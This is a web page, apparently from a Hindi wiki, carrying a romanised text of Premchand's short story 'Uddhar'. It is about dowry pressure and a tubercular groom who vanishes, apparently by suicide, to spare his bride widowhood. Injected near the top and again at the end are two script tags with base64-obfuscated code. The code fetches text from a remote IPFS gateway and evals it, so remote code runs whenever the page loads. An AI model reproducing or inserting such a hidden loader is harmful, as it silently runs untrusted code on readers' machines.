उद्धार -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

hiandoo samaj ki vaivahik pratha itani dooshit, itani chiantajanak, itani bhayankar ho gayi hai ki kuchh samajh mean nahian ata, usaka sudhar kyoankar ho. birale hi aise mata-pita hoange jinake sat putroan ke bad bhi ek kanya utpann ho jay to vah saharsh usaka svagat karean. kanya ka janm hote hi usake vivah ki chianta sir par savar ho jati hai aur adami usi mean dubakiyaan khane lagata hai. avastha itani nirashamay aur bhayanak ho gayi hai ki aise mata-pitaoan ki kami nahian hai jo kanya ki mrityu par hriday se prasann hote haian, mano sir se badha tali. isaka karan keval yahi hai ki dahej ki dar, din dooni rat chauguni, pavas-kal ke jal-veg ke saman badhati chali ja rahi hai. jahaan dahej ki saik doan mean batean hoti thian, vahaan ab hajaroan tak naubat pahuanch gayi hai. abhi bahut din nahian gujare ki ek ya do hazar rupaye dahej keval b de gharoan ki bat thi, chhoti-chhoti shadiyaan paanch sau se ek hazar tak tay ho jati thian; par ab mamooli-mamooli vivah bhi tin-char hazar ke niche nahian tay hote. kharch ka to yah hal hai aur shikshit samaj ki nirdhanata aur daridrata dinoan-din badhati jati hai. isaka aant kya hoga eeshvar hi jane. bete ek darajan bhi hoan to mata-pita ko chianta nahian hoti. vah apane oopar unake vivah-bhar ko anivary nahian samajhata, yah usake lie 'kampalsari' vishay nahian, 'apshanal' vishay hai. hoga to kar deange; nahian kah deange- beta, khao kamao, samaee ho to vivah kar lena. betoan ki kucharitrata kalank ki bat nahian samajhi jati; lekin kanya ka vivah to karana hi p dega, usase bhagakar kahaan jayeange? agar vivah mean vilamb hua aur kanya ke paanv kahian ooanche-niche p d gaye to phir kutumb ki nak kat gayi; vah patit ho gaya, tat bahar kar diya gaya. agar vah is durghatana ko saphalata ke sath gupt rakh saka tab to koee bat nahian; usako kalankit karane ka kisi ko sahas nahian; lekin abhagyavash yadi vah ise chhipa n saka, bhandapho d ho gaya to phir mata-pita ke lie, bhaee-bandhuoan ke lie sansar mean muanh dikhane ko sthan nahian rahata. koee apaman isase dussah, koee vipatti isase bhishan nahian. kisi bhi vyadhi ki isase bhayankar kalpana nahian ki ja sakati. lutf to yah hai ki jo log betiyoan ke vivah ki kathinaiyoan ko bhog chuke hote haian vahi apane betoan ke vivah ke avasar par bilakul bhool jate haian ki hamean kitani thokarean khani p di thian, jara bhi sahanubhooti nahian prakat karate, balki kanya ke vivah mean jo tavan uthaya tha use chakravridhdi byaj ke sath bete ke vivah mean vasool karane par katibadhd ho jate haian. kitane hi mata-pita isi chianta mean ghul-ghulakar akal mrityu ko prapt ho jate haian; koee sannyas grahan kar leta hai, koee boodhe ke gale kanya ko madh kar apana gala chhu data hai, patr-kupatr ka vichar karane ka mauqa kahaan, thelamathel hai.

muanshi gulajarilal aise hi hatabhage pitaoan mean the. yoan unaki sthiti buri n thi, do-dhaee sau rupaye mahine vakalat se pit lete the; par khanadani adami the, udar hriday, bahut kifayat karane par bhi maqool bachat n ho sakati thi. sanbandhiyoan ka adar-satkar n karean to nahian banata, mitroan ki khatiradari n karean to nahian banata, phir eeshvar ke diye hue do-tin putr the, unaka palan-poshan, shikshan ka bhar tha, kya karate! pahali kanya ka vivah unhoanne apani haisiyat ke anusar achchhi tarah kiya par doosari putri ka vivah tedhi khir ho raha tha. yah avashyak tha ki vivah achchhe gharane mean ho, anyatha log hanseange aur achchhe gharane ke lie kam-se-kam paanch hazar ka takhamina tha. udhar putri sayani hoti jati thi. vah anaj jo l dake khate the, vah bhi khati thi; lekin l dakoan ko dekho to jaise sookhe ka rog laga ho aur l daki shukl paksh ka chaand ho rahi thi. bahut dau d-dhoop karane par bechare ko ek l daka mila. bap abakari ke vibhag mean 400 ru. ka naukar tha, l daka bhi sushikshit. stri se akar bole, l daka to mila aur ghar-bar ek bhi katane yogy nahian; par kathinaee yahi hai ki l daka kahata hai, maian apana vivah n karooanga, bap ne kitana samajhaya, maianne kitana samajhaya, auroan ne samajhaya, par vah tas se mas nahian hota. kahata hai, maian kabhi vivah n karooanga. samajh mean nahian ata vivah se kyoan itani ghrina karata hai. koee karan nahian batalata, bas yahi kahata hai, meri ichchha. maan-bap ka ikalauta l daka hai. unaki param ichchha hai ki isaka vivah ho jay, par karean kya? yoan unhoanne phaladan to rakh liya hai par mujhase kah diya hai ki l daka svabhav ka hathila hai, agar n manega to phaladan apako lauta diya jayaga.

stri ne kaha- tumane l dake ko ekaant mean bulakar poochha nahian?

gulajarilal- bulaya tha. baitha rota raha, phir uthakar chala gaya. tumase kya kahooan, usake pairoan par gir p da; lekin bina kuchh kahe uthakar chala gaya.

stri- dekho, is l daki ke pichhe kya-kya jhelana p data hai?

gulajarilal- kuchh nahian, ajakal ke lauande sailani hote haian. ऍangareji pustakoan mean padhate haian ki vilayat mean kitane hi log avivahit rahana hi pasand karate haian. bas yahi sanak savar ho jati hai ki nirdvandv rahane mean hi jivan ki sukh aur shaanti hai. jitani musibatean haian vah sab vivah hi mean haian. maian bhi kalej mean tha tab socha karata tha ki akela rahooanga aur maje se sair-sapata karooanga.

stri- hai to vastav mean bat yahi. vivah hi to sari musibatoan ki j d hai. tumane vivah n kiya hota to kyoan ye chiantaean hotian? maian bhi kvaanri rahati to chain karati.

2

isake ek mahina bad muanshi gulajarilal ke pas var ne yah patr likha-

'poojyavar,

sadar pranam.

maian aj bahut asamanjas mean p dakar yah patr likhane ka sahas kar raha hooan. is dhrisht ta ko kshama kijiega.

apake jane ke bad se mere pitaji aur mataji donoan mujh par vivah karane ke lie nana prakar se dabav dal rahe haian. mataji roti haian, pitaji naraz hote haian. vah samajhate haian ki maian apani zid ke karan vivah se bhagata hooan. kadachith unhean yah bhi sandeh ho raha hai ki mera charitr bhrasht ho gaya hai. maian vastavik karan batate hue darata hooan ki in logoan ko du:kh hoga aur ashchary nahian ki shok mean unake pranoan par hi ban jay. isalie ab tak maianne jo bat gupt rakhi thi, vah aj vivash hokar apase prakat karata hooan aur apase sagrah nivedan karata hooan ki ap ise gopaniy samajhiega aur kisi dasha mean bhi un logoan ke kanoan mean isaki bhanak n p dane dijiega. jo hona hai vah to hoga hi, pahale hi se kyoan unhean shok mean dubaooan. mujhe 5-6 mahinoan se yah anubhav ho raha hai ki maian kshay rog se grasit hooan. usake sabhi lakshan prakat hote jate haian. daktaroan ki bhi yahi ray hai. yahaan sabase anubhavi jo do daktar haian, un donoan hi se maianne apani arogy-pariksha karayi aur donoan hi ne spasht kaha ki tumhean sil hai. agar mata-pita se yah kah dooan to vah ro-rokar mar jayeange. jab yah nishchay hai ki maian sansar mean tho de hi dinoan ka mehaman hooan to mere lie vivah ki kalpana karana bhi pap hai. sanbhav hai ki maian vishesh prayatn karake sal-do-sal jivit rahooan; par vah dasha aur bhi bhayankar hogi, kyoanki agar koee santan huee to vah bhi mere sanskar se akal mrityu payegi aur kadachith stri ko bhi isi rog-rakshas ka bhakshan banana p de. mere avivahit rahane se jo bitegi, mujh hi par bitegi. vivahit ho jane se mere sath aur kee jivoan ka nash ho jayaga. isalie apase meri prarthana hai ki mujhe is bandhan mean dalane ke lie agrah n kijie, anyatha apako pachhatana p dega.

sevak,

hajarilal.

patr padhakar gulajarilal ne stri ki or dekha aur bole- is patr ke vishay mean tumhara kya vichar hai?

stri- mujhe to aisa maloom hota hai ki usane bahana racha hai.

gulajarilal- bas-bas, thik yahi mera bhi vichar hai. usane samajha hai ki bimari ka bahana kar dooanga to log ap hi hat jayeange. asal mean bimari kuchh nahian. maianne to dekha hi tha, chehara chamak raha tha. bimar ka muanh chhipa nahian rahata.

stri- ram nam le ke vivah karo koee kisi ka bhagy tho de hi padhe baitha hai.

gulajarilal- yahi to maian bhi soch raha hooan.

stri n ho kisi daktar se l dake ko dikhao. kahian sachamuch vah bimari ho to bechari amba kahian ki n rahe.

gulajarilal tum bhi pagal huee ho kya? sab hile-havale haian. in chhokaroan ka dil ka hal maian khoob janata hooan. sochata hoga abhi sair-sapate kar raha hooan, vivah ho jayega to yah gulachharre kaise u deange!

stri to shubh muhoort dekhakar lagn bhejavane ki taiyari karo.

3

hajarilal b de dharm-sandeh mean tha. usake pairoan mean jabaradasti vivah ki be di dali ja rahi thi aur vah kuchh n kar sakata tha. usane sasur ko apana kachcha chittha kah sunaya; magar kisi ne usaki batoan par vishvas n kiya. maan-bap se apani bimari ka hal kahane ka use sahas n hota tha, n-jane unake dil par kya gujare, n-jane kya kar baithean? kabhi sochata kisi daktar ki shahadat lekar sasur ke pas bhej dooan, magar phir dhyan ata, yadi un logoan ko us par bhi vishvas n aya, to? ajakal daktari se sanad le lena kaun-sa mushkil kam hai. socheange, kisi daktar ko kuchh de-dilakar likha liya hoga. shadi ke lie to itana agrah ho raha tha, udhar daktaroan ne spasht kah diya tha ki agar tumane shadi ki to tumhara jivan-sootr aur bhi nirbal ho jayaga. mahinoan ki jagah dinoan mean vara-nyara ho jane ki sanbhavana hai.

lagn a chuki thi. vivah ki taiyariyaan ho rahi thian, mehaman ate-jate the aur hajarilal ghar se bhaga-bhaga phirata tha. kahaan chala jaooan? vivah ki kalpana hi se usake pran sookh jate the. ah! us abala ki kya gati hogi? jab use yah bat maloom hogi to vah mujhe apane man mean kya kahegi? kaun is pap ka prayashchitt karega? nahian, us abala par ghor atyachar n karooanga, use vaidhavy ki ag mean n jalaooanga. meri ziandagi hi kya, aj n mara kal marooanga, kal nahian to parasoan, to kyoan n aj hi mar jaooan. aj hi jivan ka aur usake sath sari chiantaoan ka, sari vipattiyoan ka aant kar dooan. pitaji royeange, ammaan pran tyag deangi; lekin ek balika ka jivan to saphal ho jayaga, mere bad koee abhaga anath to n royega.

kyoan n chalakar pitaji se kah dooan? vah ek-do din du:khi raheange, ammaji do-ek roj shok se nirahar rah jayeangi, koee chianta nahian. agar mata-pita ke itane kasht se ek yuvati ki pran-raksha ho jay to kya chhoti bat hai?

yah sochakar vah dhire se utha aur akar pita ke samane kh da ho gaya.

rat ke das baj gaye the. baboo darabarilal charapaee par lete hue huqqa pi rahe the. aj unhean sara din dau date gujara tha. shamiyana tay kiya; baje valoan ko bayana diya; atishabaji, phulavari adi ka prabandh kiya, ghantoan brahmanoan ke sath sir marate rahe, is vakt jara kamar sidhi kar rahe the ki sahasa hajarilal ko samane dekhakar chauank p de. usaka utara hua chehara, sajal aankhean aur kuanthit mukh dekha to kuchh chiantit hokar bole- kyoan laloo, tabiyat to achchhi hai n? kuchh udas maloom hote ho.

hajarilal- maian apase kuchh kahana chahata hooan; par bhay hota hai ki kahian ap aprasann n hoan.

darabarilal- samajh gaya, vahi purani bat hai n? usake siva koee doosari bat ho to shauq se kaho.

hajarilal- khed hai ki maian usi vishay mean kuchh kahana chahata hooan.

darabarilal- yahi kahana chahate ho n ki mujhe is bandhan mean n dalie, maian isake ayogy hooan, maian yah bhar sah nahian sakata, be di meri gardan ko to d degi, adi ya aur koee nayi bat?

hajarilal- ji nahian, nayi bat hai. maian apaki ajna palan karane ke lie sab prakar se taiyar hooan; par ek aisi bat hai, jise maianne ab tak chhipaya tha, use bhi prakat kar dena chahata hooan. isake bad ap jo kuchh nishchay kareange use maian shirodhary karooanga.

hajarilal ne b de vinit shabdoan mean apana ashay kaha, daktaroan ki ray bhi bayan ki aur aant mean bole- aisi dasha mean mujhe poori asha hai ki ap mujhe vivah karane ke lie badhy n kareange.

darabarilal ne putr ke mukh ki or gaur se dekha, kahian jardi ka nam n tha, is kathan par vishvas n aya; par apana avishvas chhipane aur apana hardik shok prakat karane ke lie vah kee minat tak gahari chianta mean magn rahe. isake bad pi dit kanth se bole- beta, is dasha mean to vivah karana aur bhi avashyak hai. eeshvar n kare ki ham vah bura din dekhane ke lie jite rahean; par vivah ho jane se tumhari koee nishani to rah jayagi. eeshvar ne koee santan de di to vahi hamare budhape ki lathi hogi, usi ka muanh dekh-dekh kar dil ko samajhayeange, jivan ka kuchh adhar to rahega. phir age kya hoga yah kaun kah sakata hai? daktar kisi ki karmarekha to nahian padhe hote, eeshvar ki lila aparampar hai, daktar use nahian samajh sakate. tum nishchiant hokar baitho, ham jo kuchh karate haian, karane do. bhagavan chaheange to sab kalyan hi hoga.

hajarilal ne isaka koee uttar nahian diya. aankhean dabadaba ayian, kanthavarodh ke karan muanh tak n khol saka. chupake se akar apane kamare mean let raha.

tin din aur gujar gaye, par hajarilal kuchh nishchay n kar saka. vivah ki taiyariyaan poori ho gayi thian. aangan mean mandap g d gaya tha; dal, gahane sandookoan mean rakhe ja chuke the. matri pooja ho chuki thi aur dvar par bajoan ka shor macha hua tha. muhalle ke l daqe jama hokar baja sunate the aur ullas se idhar-udhar dau date the.

sandhyam ho gayi thi. barat aj rat ki ga di se janevali thi. baratiyoan ne apane vastrabhooshan pahanane shuroo kiye. koee naee se bal banavata tha aur chahata tha ki khat aisa saf ho jay mano yahaan bal kabhi the hi nahian, boodhe apane pake bal ko ukh davakar javan banane ki cheshta kar rahe the. tel, sabun, ubatan ki loot machi huee thi aur hajarilal bagiche mean ek vriksh ke niche udas baitha hua soch raha tha, kya karooan?

aantim nishchay ki gh di sir par kh di thi. ab ek kshan bhi vilamb karane ka mauqa n tha. apani vedana kisase kahe, koee sunanevala n tha.

usane socha hamare mata-pita kitane adooradarshi haian, apani umang mean inhean itana bhi nahian soojhata ki vadhoo par kya gujaregi. vadhoo ke mata-pita bhi itane aandhe ho rahe haian ki dekhakar bhi nahian dekhate, janakar nahian janate.

kya yah vivah hai? kadapi nahian. yah to l daki ko kuean mean dalana hai, bha d mean jhoankana hai, kuand chhoore se retana hai. koee yatana itani dussah, itani hridayavidarak nahian ho sakati jitani vaidhavy aur ye log jan-boojhakar apani putri ko vaidhavy ke agni-kuand mean dal dete haian. yah mata-pita haian? kadapi nahian. yah l daki ke shatru haian, kasaee haian, badhik haian, hatyare haian. kya inake lie koee dand nahian? jo jan-boojhakar apani priy santan ke khoon se apane hath rangate haian, usake lie koee dand nahian? samaj bhi unhean dand nahian deta, koee kuchh nahian kahata. hay!

vah sochakar hajarilal utha aur ek or chupachap chal diya. usake mukh par tej chhaya hua tha. usane atm-balidan se is kasht ko nivaran karane ka dridh sankalp kar liya tha. use mrityu ka leshamatr bhi bhay n tha. vah us dasha ko pahuanch gaya tha jab sari ashaean mrityu par hi avalambit ho jati haian.

us din se phir kisi ne hajarilal ki soorat nahian dekhi. maloom nahian zamin kha gayi ya asaman. nadiyoan mean jal dale gaye, kuoan mean baans p d gaye, pulis mean huliya gaya, samachar-patroan mean vijnapti nikali gayi, par kahian pata n chala.

kee haphtoan ke bad, chhavani relave steshan se ek mil pashchim ki or s dak par kuchh haddiyaan milian. logoan ko anuman hua ki hajarilal ne ga di ke niche dabakar jan di, par nishchit roop se kuchh n maloom hua.

4

bhadoan ka mahina tha aur tij ka din. gharoan mean saphaee ho rahi thi. saubhagyavati ramaniyaan solahoan shrriangar kiye ganga-snan karane ja rahi thian. amba snan karake laut ayi thi aur tulasi ke kachche chabootare ke samane kh di vandana kar rahi thi. patigrih mean usaki yah pahali hi tij thi, b di umangoan se vrat rakha tha. sahasa usake pati ne aandar akar use sahas netroan se dekha aur bola- muanshi darabarilal tumhare kaun hote haian, yah unake yahaan se tumhare lie tij pathauni ayi hai. abhi dakiya de gaya hai. yah kahakar usane ek parasal charapaee par rakh diya. darabarilal ka nam sunate hi amba ki aankhean sajal ho gayian. vah lapaki huee ayi aur parasal ko hath mean lekar dekhane lagi; par usaki himmat n p di ki use khole. pichhali smritiyaan jivit ho gayian, hriday mean hajarilal ke prati shradhda ka ek udgar-sa uth p da. ah! yah usi devatma ke atmabalidan ka punit phal hai ki mujhe yah din dekhana nasib hua. eeshvar unhean sadgati dean. vah adami nahian, devata the, jisane mere kalyan ke nimitt apane pran tak samarpan kar diye.

pati ne poochha- darabarilal tumhare chacha haian?

amba- haan.

pati- is patr mean hajarilal ka nam likha hai, yah kaun hai?

amba- yah muanshi darabarilal ke bete haian.

pati- tumhare chachere bhaee?

amba- nahian, mere param dayalu udhdarak, jivanadata, mujhe athah jal mean doobane se bachanevale, mujhe saubhagy ka varadan denevale.

pati ne is bhav se kaha mano koee bhooli huee bat yad a gayi ho- aha! maian samajh gaya. vastav mean vah manushy nahian devata the.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>